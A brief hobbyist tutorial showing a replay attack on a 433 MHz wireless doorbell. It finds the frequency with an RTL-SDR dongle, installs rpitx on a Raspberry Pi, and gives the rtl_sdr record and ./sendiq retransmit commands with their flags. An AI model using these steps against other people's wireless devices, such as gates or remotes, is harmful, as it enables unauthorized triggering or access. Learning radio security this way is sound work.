Hack 433 MHz Devices with a Raspberry and a RTL-SDR Dongle.
Through a wide variety of Hack 433 MHz Devices, We Hack 433 MHz Devices with a Raspberry and a RTL-SDR Dongle.
- Service Hack 433 MHz Devices
Hack 433 MHz Devices with a Raspberry and a RTL-SDR Dongle
Wireless things frequency is between 300MHz to 433MHz we find a frequency with the help of RTL-SDR Dongle
In this project we hack a Doorbell
We get frequency with RTL-SDR Dongle on AIRSPY SDR software

We get frequency of Doorbell at 433.912.500 we note this frequency where Doorbell rings
Then we connect our RTL-SDR Dongle with Raspberry

We connect RTL-SDR Dongle with raspberry pi to Do reply attack
We do reply attack using rpitx software in raspberry pi
We get this software from github
Source https://github.com/F5OEO/rpitx
Then we installed this software with these commands
git clone https://github.com/F5OEO/rpitx
cd rpitx
./install.sh
What kind of functions this software can perform

Now we know the frequency of the doorbell we execute the command to record the the frequency and then we reply that frequency
We use this command
“ rtl_sdr -s 250000 -g 40 -f 433912500 wiredoorbell_ring.iq ”
rtl_sd : which device we use
-s 250000 : sample rate
-g 40 : gain
-f 433912500 : frequency
wiredoorbell_ring.iq : file name where records are.
recording frequency of doorbell

For reply attack we use ./sendiq command
What kind of functions this command can perform
Then for reply attack we use this command
“ ./sendiq -s 250000 -f 433912500 -t u8 -i wiredoorbellring.iq ”
-s 250000 sample rate
-f 433912500 frequency
-t u8 file formate
-i wiredoorbellring.iq recorded file

“Then our doorbell rings without button just with the help of this command only”
